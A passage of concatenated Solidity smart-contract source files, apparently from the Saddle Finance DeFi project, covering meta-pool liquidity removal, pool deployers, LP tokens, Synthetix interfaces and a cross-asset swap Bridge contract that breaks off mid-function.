removedBaseLPTokenAmount, tokenIndex - baseLPTokenIndex, minAmount, deadline ); token = baseTokens[tokenIndex - baseLPTokenIndex]; } else { revert("out of range"); } uint256 amountWithdrawn = token.balanceOf(address(this)); token.safeTransfer(msg.sender, amountWithdrawn); return amountWithdrawn; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external nonReentrant returns (uint256) { IERC20[] memory memBaseTokens = baseTokens; IERC20[] memory memMetaTokens = metaTokens; uint256[] memory metaAmounts = new uint256[](memMetaTokens.length); uint256[] memory baseAmounts = new uint256[](memBaseTokens.length); require( amounts.length == memBaseTokens.length + memMetaTokens.length - 1, "out of range" ); RemoveLiquidityImbalanceInfo memory v = RemoveLiquidityImbalanceInfo( baseSwap, metaSwap, metaLPToken, uint8(metaAmounts.length - 1), false, 0 ); for (uint8 i = 0; i < v.baseLPTokenIndex; i++) { metaAmounts[i] = amounts[i]; } for (uint8 i = 0; i < baseAmounts.length; i++) { baseAmounts[i] = amounts[v.baseLPTokenIndex + i]; if (baseAmounts[i] > 0) { v.withdrawFromBase = true; } } // Calculate how much base LP token we need to get the desired amount of underlying tokens if (v.withdrawFromBase) { metaAmounts[v.baseLPTokenIndex] = v .baseSwap .calculateTokenAmount(baseAmounts, false) .mul(10005) .div(10000); } // Transfer MetaSwap LP token from the caller to this contract v.metaLPToken.safeTransferFrom( msg.sender, address(this), maxBurnAmount ); // Withdraw the paired meta level tokens and the base LP token from the MetaSwap pool uint256 burnedMetaLPTokenAmount = v.metaSwap.removeLiquidityImbalance( metaAmounts, maxBurnAmount, deadline ); v.leftoverMetaLPTokenAmount = maxBurnAmount.sub( burnedMetaLPTokenAmount ); // If underlying tokens are desired, withdraw them from the base Swap pool if (v.withdrawFromBase) { v.baseSwap.removeLiquidityImbalance( baseAmounts, metaAmounts[v.baseLPTokenIndex], deadline ); // Base Swap may require LESS base LP token than the amount we have // In that case, deposit it to the MetaSwap pool. uint256[] memory leftovers = new uint256[](metaAmounts.length); IERC20 baseLPToken = memMetaTokens[v.baseLPTokenIndex]; uint256 leftoverBaseLPTokenAmount = baseLPToken.balanceOf( address(this) ); if (leftoverBaseLPTokenAmount > 0) { leftovers[v.baseLPTokenIndex] = leftoverBaseLPTokenAmount; v.leftoverMetaLPTokenAmount = v.leftoverMetaLPTokenAmount.add( v.metaSwap.addLiquidity(leftovers, 0, deadline) ); } } // Transfer all withdrawn tokens to the caller for (uint8 i = 0; i < amounts.length; i++) { IERC20 token; if (i < v.baseLPTokenIndex) { token = memMetaTokens[i]; } else { token = memBaseTokens[i - v.baseLPTokenIndex]; } if (amounts[i] > 0) { token.safeTransfer(msg.sender, amounts[i]); } } // If there were any extra meta lp token, transfer them back to the caller as well if (v.leftoverMetaLPTokenAmount > 0) { v.metaLPToken.safeTransfer(msg.sender, v.leftoverMetaLPTokenAmount); } return maxBurnAmount - v.leftoverMetaLPTokenAmount; } // VIEW FUNCTIONS /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running. When withdrawing from the base pool in imbalanced * fashion, the recommended slippage setting is 0.2% or higher. * * @dev This shouldn't be used outside frontends for user estimates. * * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) { uint256[] memory metaAmounts = new uint256[](metaTokens.length); uint256[] memory baseAmounts = new uint256[](baseTokens.length); uint256 baseLPTokenIndex = metaAmounts.length - 1; for (uint8 i = 0; i < baseLPTokenIndex; i++) { metaAmounts[i] = amounts[i]; } for (uint8 i = 0; i < baseAmounts.length; i++) { baseAmounts[i] = amounts[baseLPTokenIndex + i]; } uint256 baseLPTokenAmount = baseSwap.calculateTokenAmount( baseAmounts, deposit ); metaAmounts[baseLPTokenIndex] = baseLPTokenAmount; return metaSwap.calculateTokenAmount(metaAmounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) { uint256[] memory metaAmounts = metaSwap.calculateRemoveLiquidity( amount ); uint8 baseLPTokenIndex = uint8(metaAmounts.length - 1); uint256[] memory baseAmounts = baseSwap.calculateRemoveLiquidity( metaAmounts[baseLPTokenIndex] ); uint256[] memory totalAmounts = new uint256[]( baseLPTokenIndex + baseAmounts.length ); for (uint8 i = 0; i < baseLPTokenIndex; i++) { totalAmounts[i] = metaAmounts[i]; } for (uint8 i = 0; i < baseAmounts.length; i++) { totalAmounts[baseLPTokenIndex + i] = baseAmounts[i]; } return totalAmounts; } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { uint8 baseLPTokenIndex = uint8(metaTokens.length - 1); if (tokenIndex < baseLPTokenIndex) { return metaSwap.calculateRemoveLiquidityOneToken( tokenAmount, tokenIndex ); } else { uint256 baseLPTokenAmount = metaSwap .calculateRemoveLiquidityOneToken( tokenAmount, baseLPTokenIndex ); return baseSwap.calculateRemoveLiquidityOneToken( baseLPTokenAmount, tokenIndex - baseLPTokenIndex ); } } /** * @notice Returns the address of the pooled token at given index. Reverts if tokenIndex is out of range. * This is a flattened representation of the pooled tokens. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) external view returns (IERC20) { require(index < tokens.length, "index out of range"); return tokens[index]; } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { return metaSwap.calculateSwapUnderlying(tokenIndexFrom, tokenIndexTo, dx); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./ISwap.sol"; interface IMetaSwap { // pool data view functions function getA() external view returns (uint256); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateSwapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) external; function initializeMetaSwap( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress, ISwap baseSwap ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function swapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "./interfaces/ISwap.sol"; import "./interfaces/IMetaSwap.sol"; contract SwapDeployer is Ownable { event NewSwapPool( address indexed deployer, address swapAddress, IERC20[] pooledTokens ); event NewClone(address indexed target, address cloneAddress); constructor() public Ownable() {} function clone(address target) external returns (address) { address newClone = _clone(target); emit NewClone(target, newClone); return newClone; } function _clone(address target) internal returns (address) { return Clones.clone(target); } function deploy( address swapAddress, IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) external returns (address) { address swapClone = _clone(swapAddress); ISwap(swapClone).initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); Ownable(swapClone).transferOwnership(owner()); emit NewSwapPool(msg.sender, swapClone, _pooledTokens); return swapClone; } function deployMetaSwap( address metaSwapAddress, IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress, ISwap baseSwap ) external returns (address) { address metaSwapClone = _clone(metaSwapAddress); IMetaSwap(metaSwapClone).initializeMetaSwap( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress, baseSwap ); Ownable(metaSwapClone).transferOwnership(owner()); emit NewSwapPool(msg.sender, metaSwapClone, _pooledTokens); return metaSwapClone; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "synthetix/contracts/interfaces/ISynthetix.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "../interfaces/ISwap.sol"; /** * @title SynthSwapper * @notice Replacement of Virtual Synths in favor of gas savings. Allows swapping synths via the Synthetix protocol * or Saddle's pools. The `Bridge.sol` contract will deploy minimal clones of this contract upon initiating * any cross-asset swaps. */ contract SynthSwapper is Initializable { using SafeERC20 for IERC20; address payable owner; // SYNTHETIX points to `ProxyERC20` (0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F). // This contract is a proxy of `Synthetix` and is used to exchange synths. ISynthetix public constant SYNTHETIX = ISynthetix(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); // "SADDLE" in bytes32 form bytes32 public constant TRACKING = 0x534144444c450000000000000000000000000000000000000000000000000000; /** * @notice Initializes the contract when deploying this directly. This prevents * others from calling initialize() on the target contract and setting themself as the owner. */ constructor() public { initialize(); } /** * @notice This modifier checks if the caller is the owner */ modifier onlyOwner() { require(msg.sender == owner, "is not owner"); _; } /** * @notice Sets the `owner` as the caller of this function */ function initialize() public initializer { require(owner == address(0), "owner already set"); owner = msg.sender; } /** * @notice Swaps the synth to another synth via the Synthetix protocol. * @param sourceKey currency key of the source synth * @param synthAmount amount of the synth to swap * @param destKey currency key of the destination synth * @return amount of the destination synth received */ function swapSynth( bytes32 sourceKey, uint256 synthAmount, bytes32 destKey ) external onlyOwner returns (uint256) { return SYNTHETIX.exchangeWithTracking( sourceKey, synthAmount, destKey, msg.sender, TRACKING ); } /** * @notice Approves the given `tokenFrom` and swaps it to another token via the given `swap` pool. * @param swap the address of a pool to swap through * @param tokenFrom the address of the stored synth * @param tokenFromIndex the index of the token to swap from * @param tokenToIndex the token the user wants to swap to * @param tokenFromAmount the amount of the token to swap * @param minAmount the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction * @param recipient the address of the recipient */ function swapSynthToToken( ISwap swap, IERC20 tokenFrom, uint8 tokenFromIndex, uint8 tokenToIndex, uint256 tokenFromAmount, uint256 minAmount, uint256 deadline, address recipient ) external onlyOwner returns (IERC20, uint256) { tokenFrom.approve(address(swap), tokenFromAmount); swap.swap( tokenFromIndex, tokenToIndex, tokenFromAmount, minAmount, deadline ); IERC20 tokenTo = swap.getToken(tokenToIndex); uint256 balance = tokenTo.balanceOf(address(this)); tokenTo.safeTransfer(recipient, balance); return (tokenTo, balance); } /** * @notice Withdraws the given amount of `token` to the `recipient`. * @param token the address of the token to withdraw * @param recipient the address of the account to receive the token * @param withdrawAmount the amount of the token to withdraw * @param shouldDestroy whether this contract should be destroyed after this call */ function withdraw( IERC20 token, address recipient, uint256 withdrawAmount, bool shouldDestroy ) external onlyOwner { token.safeTransfer(recipient, withdrawAmount); if (shouldDestroy) { _destroy(); } } /** * @notice Destroys this contract. Only owner can call this function. */ function destroy() external onlyOwner { _destroy(); } function _destroy() internal { selfdestruct(msg.sender); } } pragma solidity >=0.4.24; import "./ISynth.sol"; import "./IVirtualSynth.sol"; // https://docs.synthetix.io/contracts/source/interfaces/isynthetix interface ISynthetix { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint); function isWaitingPeriod(bytes32 currencyKey) external view returns (bool); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey) external view returns (uint); function totalIssuedSynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint); function transferableSynthetix(address account) external view returns (uint transferable); // Mutative Functions function burnSynths(uint amount) external; function burnSynthsOnBehalf(address burnForAddress, uint amount) external; function burnSynthsToTarget() external; function burnSynthsToTargetOnBehalf(address burnForAddress) external; function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function issueMaxSynths() external; function issueMaxSynthsOnBehalf(address issueForAddress) external; function issueSynths(uint amount) external; function issueSynthsOnBehalf(address issueForAddress, uint amount) external; function mint() external returns (bool); function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); // Liquidations function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool); // Restricted Functions function mintSecondary(address account, uint amount) external; function mintSecondaryRewards(uint amount) external; function burnSecondary(address account, uint amount) external; } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } pragma solidity >=0.4.24; import "./ISynth.sol"; interface IVirtualSynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function synth() external view returns (ISynth); // Mutative functions function settle(address account) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/ISwapV1.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. * @dev Only Swap contracts should initialize and own LPToken contracts. */ contract LPTokenV1 is ERC20BurnableUpgradeable, OwnableUpgradeable { using SafeMathUpgradeable for uint256; /** * @notice Initializes this LPToken contract with the given name and symbol * @dev The caller of this function will become the owner. A Swap contract should call this * in its initializer function. * @param name name of this token * @param symbol symbol of this token */ function initialize(string memory name, string memory symbol) external initializer returns (bool) { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); __Ownable_init_unchained(); return true; } /** * @notice Mints the given amount of LPToken to the recipient. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "LPToken: cannot mint 0"); _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that Swap.updateUserWithdrawFees are called everytime. * This assumes the owner is set to a Swap contract's address. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(to != address(this), "LPToken: cannot send to itself"); ISwapV1(owner()).updateUserWithdrawFee(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./IAllowlist.sol"; interface ISwapV1 { // pool data view functions function getA() external view returns (uint256); function getAllowlist() external view returns (IAllowlist); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256); function calculateRemoveLiquidity(address account, uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 a, uint256 fee, uint256 adminFee, uint256 withdrawFee, address lpTokenTargetAddress ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); // withdraw fee update function function updateUserWithdrawFee(address recipient, uint256 transferAmount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "./interfaces/ISwapV1.sol"; contract SwapDeployerV1 is Ownable { event NewSwapPool( address indexed deployer, address swapAddress, IERC20[] pooledTokens ); constructor() public Ownable() {} function deploy( address swapAddress, IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) external returns (address) { address swapClone = Clones.clone(swapAddress); ISwapV1(swapClone).initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, _withdrawFee, lpTokenTargetAddress ); Ownable(swapClone).transferOwnership(owner()); emit NewSwapPool(msg.sender, swapClone, _pooledTokens); return swapClone; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "synthetix/contracts/interfaces/IAddressResolver.sol"; import "synthetix/contracts/interfaces/IExchanger.sol"; import "synthetix/contracts/interfaces/IExchangeRates.sol"; import "../interfaces/ISwap.sol"; import "./SynthSwapper.sol"; contract Proxy { address public target; } contract Target { address public proxy; } /** * @title Bridge * @notice This contract is responsible for cross-asset swaps using the Synthetix protocol as the bridging exchange. * There are three types of supported cross-asset swaps, tokenToSynth, synthToToken, and tokenToToken. * * 1) tokenToSynth * Swaps a supported token in a saddle pool to any synthetic asset (e.g. tBTC -> sAAVE). * * 2) synthToToken * Swaps any synthetic asset to a suported token in a saddle pool (e.g. sDEFI -> USDC). * * 3) tokenToToken * Swaps a supported token in a saddle pool to one in another pool (e.g. renBTC -> DAI). * * Due to the settlement periods of synthetic assets, the users must wait until the trades can be completed. * Users will receive an ERC721 token that represents pending cross-asset swap. Once the waiting period is over, * the trades can be settled and completed by calling the `completeToSynth` or the `completeToToken` function. * In the cases of pending `synthToToken` or `tokenToToken` swaps, the owners of the pending swaps can also choose * to withdraw the bridging synthetic assets instead of completing the swap. */ contract Bridge is ERC721 { using SafeMath for uint256; using SafeERC20 for IERC20; event SynthIndex( address indexed swap, uint8 synthIndex, bytes32 currencyKey, address synthAddress ); event TokenToSynth( address indexed requester, uint256 indexed itemId, ISwap swapPool, uint8 tokenFromIndex, uint256 tokenFromInAmount, bytes32 synthToKey ); event SynthToToken( address indexed requester, uint256 indexed itemId, ISwap swapPool, bytes32 synthFromKey, uint256 synthFromInAmount, uint8 tokenToIndex ); event TokenToToken( address indexed requester, uint256 indexed itemId, ISwap[2] swapPools, uint8 tokenFromIndex, uint256 tokenFromAmount, uint8 tokenToIndex ); event Settle( address indexed requester, uint256 indexed itemId, IERC20 settleFrom, uint256 settleFromAmount, IERC20 settleTo, uint256 settleToAmount, bool isFinal ); event Withdraw( address indexed requester, uint256 indexed itemId, IERC20 synth, uint256 synthAmount, bool isFinal ); // The addresses for all Synthetix contracts can be found in the below URL. // https://docs.synthetix.io/addresses/#mainnet-contracts // // Since the Synthetix protocol is upgradable, we must use the proxy pairs of each contract such that // the composability is not broken after the protocol upgrade. // // SYNTHETIX_RESOLVER points to `ReadProxyAddressResolver` (0x4E3b31eB0E5CB73641EE1E65E7dCEFe520bA3ef2). // This contract is a read proxy of `AddressResolver` which is responsible for storing the addresses of the contracts // used by the Synthetix protocol. IAddressResolver public constant SYNTHETIX_RESOLVER = IAddressResolver(0x4E3b31eB0E5CB73641EE1E65E7dCEFe520bA3ef2); // EXCHANGER points to `Exchanger`. There is no proxy pair for this contract so we need to update this variable // when the protocol is upgraded. This contract is used to settle synths held by SynthSwapper. IExchanger public exchanger; // CONSTANTS // Available types of cross-asset swaps enum PendingSwapType { Null, TokenToSynth, SynthToToken, TokenToToken } uint256 public constant MAX_UINT256 = 2**256 - 1; uint8 public constant MAX_UINT8 = 2**8 - 1; bytes32 public constant EXCHANGE_RATES_NAME = "ExchangeRates"; bytes32 public constant EXCHANGER_NAME = "Exchanger"; address public immutable SYNTH_SWAPPER_MASTER; // MAPPINGS FOR STORING PENDING SETTLEMENTS // The below two mappings never share the same key. mapping(uint256 => PendingToSynthSwap) public pendingToSynthSwaps; mapping(uint256 => PendingToTokenSwap) public pendingToTokenSwaps; uint256 public pendingSwapsLength; mapping(uint256 => PendingSwapType) private pendingSwapType; // MAPPINGS FOR STORING SYNTH INFO mapping(address => SwapContractInfo) private swapContracts; // Structs holding information about pending settlements struct PendingToSynthSwap { SynthSwapper swapper; bytes32 synthKey; } struct PendingToTokenSwap { SynthSwapper swapper; bytes32 synthKey; ISwap swap; uint8 tokenToIndex; } struct SwapContractInfo { // index of the supported synth + 1 uint8 synthIndexPlusOne; // address of the supported synth address synthAddress; // bytes32 key of the supported synth bytes32 synthKey; // array of tokens supported by the contract IERC20[] tokens; } /** * @notice Deploys this contract and initializes the master version of the SynthSwapper contract. The address to * the Synthetix protocol's Exchanger contract is also set on deployment. */ constructor(address synthSwapperAddress) public ERC721("Saddle Cross-Asset Swap", "SaddleSynthSwap") { SYNTH_SWAPPER_MASTER = synthSwapperAddress; updateExchangerCache(); } /** * @notice Returns the address of the proxy contract targeting the synthetic asset with the given `synthKey`. * @param synthKey the currency key of the synth * @return address of the proxy contract */ function getProxyAddressFromTargetSynthKey(bytes32 synthKey) public view returns (IERC20) { return IERC20(Target(SYNTHETIX_RESOLVER.getSynth(synthKey)).proxy()); } /** * @notice Returns various information of a pending swap represented by the given `itemId`. Information includes * the type of the pending swap, the number of seconds left until it can be settled, the address and the balance * of the synth this swap currently holds, and the address of the destination token. * @param itemId ID of the pending swap * @return swapType the type of the pending virtual swap, * secsLeft number of seconds left until this swap can be settled, * synth address of the synth this swap uses, * synthBalance amount of the synth this swap holds, * tokenTo the address of the destination token */ function getPendingSwapInfo(uint256 itemId) external view returns ( PendingSwapType swapType, uint256 secsLeft, address synth, uint256 synthBalance, address tokenTo ) { swapType = pendingSwapType[itemId]; require(swapType != PendingSwapType.Null, "invalid itemId"); SynthSwapper synthSwapper; bytes32 synthKey; if (swapType == PendingSwapType.TokenToSynth) { synthSwapper = pendingToSynthSwaps[itemId].swapper; synthKey = pendingToSynthSwaps[itemId].synthKey; synth = address(getProxyAddressFromTargetSynthKey(synthKey)); tokenTo = synth; } else { PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; synthSwapper = pendingToTokenSwap.swapper; synthKey = pendingToTokenSwap.synthKey; synth = address(getProxyAddressFromTargetSynthKey(synthKey)); tokenTo = address( swapContracts[address(pendingToTokenSwap.swap)].tokens[ pendingToTokenSwap.tokenToIndex ] ); } secsLeft = exchanger.maxSecsLeftInWaitingPeriod( address(synthSwapper), synthKey ); synthBalance = IERC20(synth).balanceOf(address(synthSwapper)); } // Settles the synth only. function _settle(address synthOwner, bytes32 synthKey) internal { // Settle synth exchanger.settle(synthOwner, synthKey); } /** * @notice Settles and withdraws the synthetic asset without swapping it to a token in a Saddle pool. Only the owner * of the ERC721 token of `itemId` can call this function. Reverts if the given `itemId` does not represent a * `synthToToken` or a `tokenToToken` swap. * @param itemId ID of the pending swap * @param amount the amount of the synth to withdraw */ function withdraw(uint256 itemId, uint256 amount) external { address nftOwner = ownerOf(itemId); require(nftOwner == msg.sender, "not owner"); require( pendingSwapType[itemId] > PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; _settle( address(pendingToTokenSwap.swapper), pendingToTokenSwap.synthKey ); IERC20 synth = getProxyAddressFromTargetSynthKey( pendingToTokenSwap.synthKey ); bool shouldDestroy; if (amount >= synth.balanceOf(address(pendingToTokenSwap.swapper))) { _burn(itemId); delete pendingToTokenSwaps[itemId]; delete pendingSwapType[itemId]; shouldDestroy = true; } pendingToTokenSwap.swapper.withdraw( synth, nftOwner, amount, shouldDestroy ); emit Withdraw(msg.sender, itemId, synth, amount, shouldDestroy); } /** * @notice Completes the pending `tokenToSynth` swap by settling and withdrawing the synthetic asset. * Reverts if the given `itemId` does not represent a `tokenToSynth` swap. * @param itemId ERC721 token ID representing a pending `tokenToSynth` swap */ function completeToSynth(uint256 itemId) external { address nftOwner = ownerOf(itemId); require(nftOwner == msg.sender, "not owner"); require( pendingSwapType[itemId] == PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToSynthSwap memory pendingToSynthSwap = pendingToSynthSwaps[ itemId ]; 